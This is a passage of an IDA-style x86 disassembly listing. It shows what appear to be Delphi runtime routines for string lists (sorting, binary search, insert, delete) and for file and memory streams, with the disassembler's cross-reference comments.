		xor	edx, edx
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+70h]

loc_40D3B6:				; CODE XREF: sub_40D380+7j
		pop	ebx
		retn
sub_40D380	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D3B8	proc near		; DATA XREF: CODE:0040BBF8o
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_40D3C7
		cmp	esi, [ebx+10h]
		jl	short loc_40D3D6

loc_40D3C7:				; CODE XREF: sub_40D3B8+8j
		mov	edx, ds:off_41DC24
		mov	ecx, esi
		mov	eax, ebx
		call	sub_40CA44

loc_40D3D6:				; CODE XREF: sub_40D3B8+Dj
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+74h]
		mov	eax, [ebx+0Ch]
		lea	eax, [eax+esi*8]
		mov	edx, ds:off_40BB44
		call	sub_403CD0
		dec	dword ptr [ebx+10h]
		mov	eax, [ebx+10h]
		cmp	esi, eax
		jge	short loc_40D411
		sub	eax, esi
		mov	ecx, eax
		shl	ecx, 3
		mov	eax, [ebx+0Ch]
		lea	edx, [eax+esi*8]
		mov	eax, [ebx+0Ch]
		lea	eax, [eax+esi*8+8]
		call	sub_4026B0

loc_40D411:				; CODE XREF: sub_40D3B8+3Ej
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		pop	esi
		pop	ebx
		retn
sub_40D3B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D41C	proc near		; DATA XREF: CODE:0040BBFCo
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_40D42E
		cmp	esi, [ebx+10h]
		jl	short loc_40D43D

loc_40D42E:				; CODE XREF: sub_40D41C+Bj
		mov	edx, ds:off_41DC24
		mov	ecx, esi
		mov	eax, ebx
		call	sub_40CA44

loc_40D43D:				; CODE XREF: sub_40D41C+10j
		test	edi, edi
		jl	short loc_40D446
		cmp	edi, [ebx+10h]
		jl	short loc_40D455

loc_40D446:				; CODE XREF: sub_40D41C+23j
		mov	edx, ds:off_41DC24
		mov	ecx, edi
		mov	eax, ebx
		call	sub_40CA44

loc_40D455:				; CODE XREF: sub_40D41C+28j
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+74h]
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		call	sub_40D474
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D41C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D474	proc near		; CODE XREF: sub_40D41C+46p
					; sub_40D714+51p
		push	ebx
		mov	ebx, [eax+0Ch]
		lea	edx, [ebx+edx*8]
		mov	eax, [eax+0Ch]
		lea	eax, [eax+ecx*8]
		mov	ecx, [edx]
		mov	ebx, [eax]
		mov	[edx], ebx
		mov	[eax], ecx
		mov	ecx, [edx+4]
		mov	ebx, [eax+4]
		mov	[edx+4], ebx
		mov	[eax+4], ecx
		pop	ebx
		retn
sub_40D474	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D498	proc near		; DATA XREF: CODE:0040BC2Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+0Ch+var_8], ecx
		mov	[esp+0Ch+var_C], edx
		mov	ebp, eax
		mov	[esp+0Ch+var_4], 0
		xor	esi, esi
		mov	edi, [ebp+10h]
		dec	edi
		cmp	edi, esi
		jl	short loc_40D4EB

loc_40D4B7:				; CODE XREF: sub_40D498+51j
		lea	ebx, [edi+esi]
		shr	ebx, 1
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+ebx*8]
		mov	edx, [esp+0Ch+var_C]
		call	sub_406E64
		test	eax, eax
		jge	short loc_40D4D3
		lea	esi, [ebx+1]
		jmp	short loc_40D4E7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D4D3:				; CODE XREF: sub_40D498+34j
		mov	edi, ebx
		dec	edi
		test	eax, eax
		jnz	short loc_40D4E7
		mov	[esp+0Ch+var_4], 1
		cmp	byte ptr [ebp+19h], 1
		jz	short loc_40D4E7
		mov	esi, ebx

loc_40D4E7:				; CODE XREF: sub_40D498+39j
					; sub_40D498+40j ...
		cmp	edi, esi
		jge	short loc_40D4B7

loc_40D4EB:				; CODE XREF: sub_40D498+1Dj
		mov	eax, [esp+0Ch+var_8]
		mov	[eax], esi
		mov	al, [esp+0Ch+var_4]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D498	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D500	proc near		; DATA XREF: CODE:0040BBC0o
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_40D512
		cmp	esi, [ebx+10h]
		jl	short loc_40D521

loc_40D512:				; CODE XREF: sub_40D500+Bj
		mov	edx, ds:off_41DC24
		mov	ecx, esi
		mov	eax, ebx
		call	sub_40CA44

loc_40D521:				; CODE XREF: sub_40D500+10j
		mov	eax, edi
		mov	edx, [ebx+0Ch]
		mov	edx, [edx+esi*8]
		call	sub_40351C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D500	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40D534:				; DATA XREF: CODE:0040BBC4o
		mov	eax, [eax+14h]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D538:				; DATA XREF: CODE:0040BBC8o
		mov	eax, [eax+10h]
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D53C	proc near		; DATA XREF: CODE:0040BBCCo
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_40D54B
		cmp	esi, [ebx+10h]
		jl	short loc_40D55A

loc_40D54B:				; CODE XREF: sub_40D53C+8j
		mov	edx, ds:off_41DC24
		mov	ecx, esi
		mov	eax, ebx
		call	sub_40CA44

loc_40D55A:				; CODE XREF: sub_40D53C+Dj
		mov	eax, [ebx+0Ch]
		mov	eax, [eax+esi*8+4]
		pop	esi
		pop	ebx
		retn
sub_40D53C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D564	proc near		; CODE XREF: sub_40D618+1Ap
		push	esi
		mov	edx, [eax+14h]
		cmp	edx, 40h
		jle	short loc_40D57B
		mov	esi, edx
		test	esi, esi
		jns	short loc_40D576
		add	esi, 3

loc_40D576:				; CODE XREF: sub_40D564+Dj
		sar	esi, 2
		jmp	short loc_40D58C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D57B:				; CODE XREF: sub_40D564+7j
		cmp	edx, 8
		jle	short loc_40D587
		mov	esi, 10h
		jmp	short loc_40D58C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D587:				; CODE XREF: sub_40D564+1Aj
		mov	esi, 4

loc_40D58C:				; CODE XREF: sub_40D564+15j
					; sub_40D564+21j
		add	esi, edx
		mov	edx, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		pop	esi
		retn
sub_40D564	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D598	proc near		; DATA XREF: CODE:0040BC04o
		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		cmp	byte ptr [ebx+18h], 0
		jnz	short loc_40D5B3
		mov	edx, esi
		mov	eax, ebx
		call	sub_40CCCC
		mov	[esp+0], eax
		jmp	short loc_40D5C9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D5B3:				; CODE XREF: sub_40D598+Bj
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+78h]
		test	al, al
		jnz	short loc_40D5C9
		mov	dword ptr [esp+0], 0FFFFFFFFh

loc_40D5C9:				; CODE XREF: sub_40D598+19j
					; sub_40D598+28j
		mov	eax, [esp+0]
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40D598	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D5D0	proc near		; DATA XREF: CODE:0040BC08o
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		cmp	byte ptr [ebx+18h], 0
		jz	short loc_40D5EE
		mov	edx, ds:off_41DB90
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_40CA44

loc_40D5EE:				; CODE XREF: sub_40D5D0+Dj
		test	esi, esi
		jl	short loc_40D5F7
		cmp	esi, [ebx+10h]
		jle	short loc_40D606

loc_40D5F7:				; CODE XREF: sub_40D5D0+20j
		mov	edx, ds:off_41DC24
		mov	ecx, esi
		mov	eax, ebx
		call	sub_40CA44

loc_40D606:				; CODE XREF: sub_40D5D0+25j
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		call	sub_40D618
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D5D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D618	proc near		; CODE XREF: sub_40D2F0+48p
					; sub_40D5D0+3Cp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+74h]
		mov	eax, [ebx+10h]
		cmp	eax, [ebx+14h]
		jnz	short loc_40D637
		mov	eax, ebx
		call	sub_40D564

loc_40D637:				; CODE XREF: sub_40D618+16j
		mov	eax, [ebx+10h]
		cmp	esi, eax
		jge	short loc_40D656
		mov	edx, [ebx+0Ch]
		lea	edx, [edx+esi*8+8]
		mov	ecx, [ebx+0Ch]
		lea	ecx, [ecx+esi*8]
		sub	eax, esi
		shl	eax, 3
		xchg	eax, ecx
		call	sub_4026B0

loc_40D656:				; CODE XREF: sub_40D618+24j
		mov	eax, [ebx+0Ch]
		lea	eax, [eax+esi*8]
		mov	esi, eax
		xor	eax, eax
		mov	[esi], eax
		xor	eax, eax
		mov	[esi+4], eax
		mov	eax, esi
		mov	edx, edi
		call	sub_40351C
		inc	dword ptr [ebx+10h]
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D618	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D680	proc near		; DATA XREF: CODE:0040BBD4o
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		cmp	byte ptr [ebx+18h], 0
		jz	short loc_40D69E
		mov	edx, ds:off_41DB90
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_40CA44

loc_40D69E:				; CODE XREF: sub_40D680+Dj
		test	esi, esi
		jl	short loc_40D6A7
		cmp	esi, [ebx+10h]
		jl	short loc_40D6B6

loc_40D6A7:				; CODE XREF: sub_40D680+20j
		mov	edx, ds:off_41DC24
		mov	ecx, esi
		mov	eax, ebx
		call	sub_40CA44

loc_40D6B6:				; CODE XREF: sub_40D680+25j
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+74h]
		mov	eax, [ebx+0Ch]
		lea	eax, [eax+esi*8]
		mov	edx, edi
		call	sub_40351C
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D680	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D6D8	proc near		; DATA XREF: CODE:0040BBD8o
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_40D6EA
		cmp	esi, [ebx+10h]
		jl	short loc_40D6F9

loc_40D6EA:				; CODE XREF: sub_40D6D8+Bj
		mov	edx, ds:off_41DC24
		mov	ecx, esi
		mov	eax, ebx
		call	sub_40CA44

loc_40D6F9:				; CODE XREF: sub_40D6D8+10j
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+74h]
		mov	eax, [ebx+0Ch]
		mov	[eax+esi*8+4], edi
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D6D8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40D714	proc near		; CODE XREF: sub_40D714+7Fp
					; sub_40D7FC+22p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax

loc_40D725:				; CODE XREF: sub_40D714+8Aj
		mov	ebx, [ebp+var_8]
		mov	esi, [ebp+var_C]
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		shr	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_40D739
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D738:				; CODE XREF: sub_40D714+32j
		inc	ebx

loc_40D739:				; CODE XREF: sub_40D714+22j
					; sub_40D714+6Cj
		mov	ecx, [ebp+var_10]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		call	[ebp+arg_0]
		test	eax, eax
		jl	short loc_40D738
		jmp	short loc_40D74B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D74A:				; CODE XREF: sub_40D714+44j
		dec	esi

loc_40D74B:				; CODE XREF: sub_40D714+34j
		mov	ecx, [ebp+var_10]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		call	[ebp+arg_0]
		test	eax, eax
		jg	short loc_40D74A
		cmp	esi, ebx
		jl	short loc_40D77E
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		call	sub_40D474
		cmp	ebx, [ebp+var_10]
		jnz	short loc_40D774
		mov	[ebp+var_10], esi
		jmp	short loc_40D77C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D774:				; CODE XREF: sub_40D714+59j
		cmp	esi, [ebp+var_10]
		jnz	short loc_40D77C
		mov	[ebp+var_10], ebx

loc_40D77C:				; CODE XREF: sub_40D714+5Ej
					; sub_40D714+63j
		inc	ebx
		dec	esi

loc_40D77E:				; CODE XREF: sub_40D714+48j
		cmp	esi, ebx
		jge	short loc_40D739
		cmp	esi, [ebp+var_8]
		jle	short loc_40D798
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	sub_40D714

loc_40D798:				; CODE XREF: sub_40D714+71j
		mov	[ebp+var_8], ebx
		cmp	ebx, [ebp+var_C]
		jl	short loc_40D725
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40D714	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D7A8	proc near		; DATA XREF: CODE:0040BBDCo
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esi
		shl	edx, 3
		lea	eax, [ebx+0Ch]
		call	sub_4025C8
		mov	[ebx+14h], esi
		pop	esi
		pop	ebx
		retn
sub_40D7A8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40D7C4:				; DATA XREF: CODE:0040BBE4o
		test	dl, dl
		jz	short loc_40D7CE
		mov	edx, [eax]
		call	dword ptr [edx+74h]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D7CE:				; CODE XREF: CODE:0040D7C6j
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D7D4	proc near		; DATA XREF: CODE:0040D7ECo
		push	ebx
		mov	ebx, [eax+0Ch]
		mov	ecx, [ebx+ecx*8]
		mov	eax, [eax+0Ch]
		mov	eax, [eax+edx*8]
		mov	edx, ecx
		call	sub_406E64
		pop	ebx
		retn
sub_40D7D4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40D7EC:				; DATA XREF: CODE:0040BC30o
		mov	edx, offset sub_40D7D4
		mov	ecx, [eax]
		call	dword ptr [ecx+80h]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D7FC	proc near		; DATA XREF: CODE:0040BC34o
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	byte ptr [ebx+18h], 0
		jnz	short loc_40D82A
		cmp	dword ptr [ebx+10h], 1
		jle	short loc_40D82A
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+74h]
		push	esi
		mov	ecx, [ebx+10h]
		dec	ecx
		xor	edx, edx
		mov	eax, ebx
		call	sub_40D714
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+70h]

loc_40D82A:				; CODE XREF: sub_40D7FC+Aj
					; sub_40D7FC+10j
		pop	esi
		pop	ebx
		retn
sub_40D7FC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D830	proc near		; CODE XREF: sub_40CDD0+41p
					; sub_4118CC+135p ...
		push	ebx
		mov	cx, 1
		xor	edx, edx
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		pop	ebx
		retn
sub_40D830	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D840	proc near		; CODE XREF: sub_40DAC8+Bp
					; sub_415764+19p
		push	ebx
		xor	ecx, ecx
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		pop	ebx
		retn
sub_40D840	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D84C	proc near		; CODE XREF: sub_40CDD0+38p
					; sub_40DAC8+12p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	cx, 1
		xor	edx, edx
		mov	eax, ebx
		mov	esi, [eax]
		call	dword ptr [esi+0Ch]
		mov	esi, eax
		mov	cx, 2
		xor	edx, edx
		mov	eax, ebx
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edi, eax
		xor	ecx, ecx
		mov	edx, esi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D84C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D884	proc near		; CODE XREF: sub_40DAC8+2Cp
					; sub_415764+28p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	edi, edx
		mov	esi, eax
		test	ebx, ebx
		jz	short loc_40D8B7
		mov	edx, edi
		mov	ecx, ebx
		mov	eax, esi
		mov	esi, [eax]
		call	dword ptr [esi+4]
		cmp	ebx, eax
		jz	short loc_40D8B7
		mov	ecx, ds:off_41DC54
		mov	dl, 1
		mov	eax, ds:off_40B698
		call	sub_40950C
		call	sub_402F98

loc_40D8B7:				; CODE XREF: sub_40D884+Bj
					; sub_40D884+1Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D884	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D8BC	proc near		; CODE XREF: sub_40D068+32p
					; sub_40E2A8+Cp ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	edi, edx
		mov	esi, eax
		test	ebx, ebx
		jz	short loc_40D8EF
		mov	edx, edi
		mov	ecx, ebx
		mov	eax, esi
		mov	esi, [eax]
		call	dword ptr [esi+8]
		cmp	ebx, eax
		jz	short loc_40D8EF
		mov	ecx, ds:off_41DBB4
		mov	dl, 1
		mov	eax, ds:off_40B6F0
		call	sub_40950C
		call	sub_402F98

loc_40D8EF:				; CODE XREF: sub_40D8BC+Bj
					; sub_40D8BC+1Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D8BC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40D8F4:				; DATA XREF: CODE:0040BD20o
					; CODE:0040BD8Co
		mov	eax, [eax+4]
		call	sub_4070D4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40D903
		xor	eax, eax

locret_40D903:				; CODE XREF: CODE:0040D8FFj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D904:				; DATA XREF: CODE:0040BD24o
					; CODE:0040BD90o
		mov	eax, [eax+4]
		call	sub_407100
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40D913
		xor	eax, eax

locret_40D913:				; CODE XREF: CODE:0040D90Fj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D914:				; DATA XREF: CODE:0040BD28o
					; CODE:0040BD94o
		movzx	ecx, cx
		mov	eax, [eax+4]
		call	sub_40712C
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D920	proc near		; DATA XREF: CODE:0040BD1Co
					; CODE:0040BD88o
		push	ebx
		push	esi
		mov	ebx, eax
		xor	ecx, ecx
		mov	eax, ebx
		mov	esi, [eax]
		call	dword ptr [esi+0Ch]
		mov	eax, [ebx+4]
		push	eax
		call	j_SetEndOfFile_0
		call	sub_40A430
		pop	esi
		pop	ebx
		retn
sub_40D920	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40D940	proc near		; CODE XREF: sub_40CD7C+12p
					; sub_40D010+15p ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_40D955
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_40D955:				; CODE XREF: sub_40D940+Bj
		mov	esi, ecx
		mov	[ebp+var_1], dl
		mov	ebx, eax
		mov	edi, [ebp+arg_0]
		cmp	di, 0FFFFh
		jnz	short loc_40D99C
		mov	eax, esi
		call	sub_4070B0
		mov	edi, eax
		mov	[ebx+4], edi
		test	edi, edi
		jge	short loc_40D9D3
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, ds:off_41DC2C
		mov	dl, 1
		mov	eax, ds:off_40B58C
		call	sub_409548
		call	sub_402F98
		jmp	short loc_40D9D3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D99C:				; CODE XREF: sub_40D940+24j
		movzx	edx, di
		mov	eax, esi
		call	sub_407070
		mov	[ebx+4], eax
		cmp	dword ptr [ebx+4], 0
		jge	short loc_40D9D3
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, ds:off_41DC38
		mov	dl, 1
		mov	eax, ds:off_40B5E8
		call	sub_409548
		call	sub_402F98

loc_40D9D3:				; CODE XREF: sub_40D940+34j
					; sub_40D940+5Aj ...
		mov	eax, ebx
		cmp	[ebp+var_1], 0
		jz	short loc_40D9EA
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_40D9EA:				; CODE XREF: sub_40D940+99j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40D940	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D9F8	proc near		; DATA XREF: CODE:0040BD84o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, [esi+4]
		test	eax, eax
		jl	short loc_40DA0F
		call	sub_407138

loc_40DA0F:				; CODE XREF: sub_40D9F8+10j
		test	bl, bl
		jle	short loc_40DA1A
		mov	eax, esi
		call	sub_402D2C

loc_40DA1A:				; CODE XREF: sub_40D9F8+19j
		pop	esi
		pop	ebx
		retn
sub_40D9F8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DA20	proc near		; CODE XREF: sub_40DB54+17p
		mov	[eax+4], edx
		mov	[eax+8], ecx
		retn
sub_40DA20	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DA28	proc near		; DATA XREF: CODE:0040BDF4o
					; CODE:0040BE64o
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	edi, [ebx+0Ch]
		test	edi, edi
		jl	short loc_40DA58
		test	ecx, ecx
		jl	short loc_40DA58
		mov	esi, [ebx+8]
		sub	esi, edi
		test	esi, esi
		jle	short loc_40DA58
		cmp	ecx, esi
		jge	short loc_40DA47
		mov	esi, ecx

loc_40DA47:				; CODE XREF: sub_40DA28+1Bj
		mov	eax, [ebx+4]
		add	eax, edi
		mov	ecx, esi
		call	sub_4026B0
		add	[ebx+0Ch], esi
		jmp	short loc_40DA5A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DA58:				; CODE XREF: sub_40DA28+Aj
					; sub_40DA28+Ej ...
		xor	esi, esi

loc_40DA5A:				; CODE XREF: sub_40DA28+2Ej
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40DA28	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

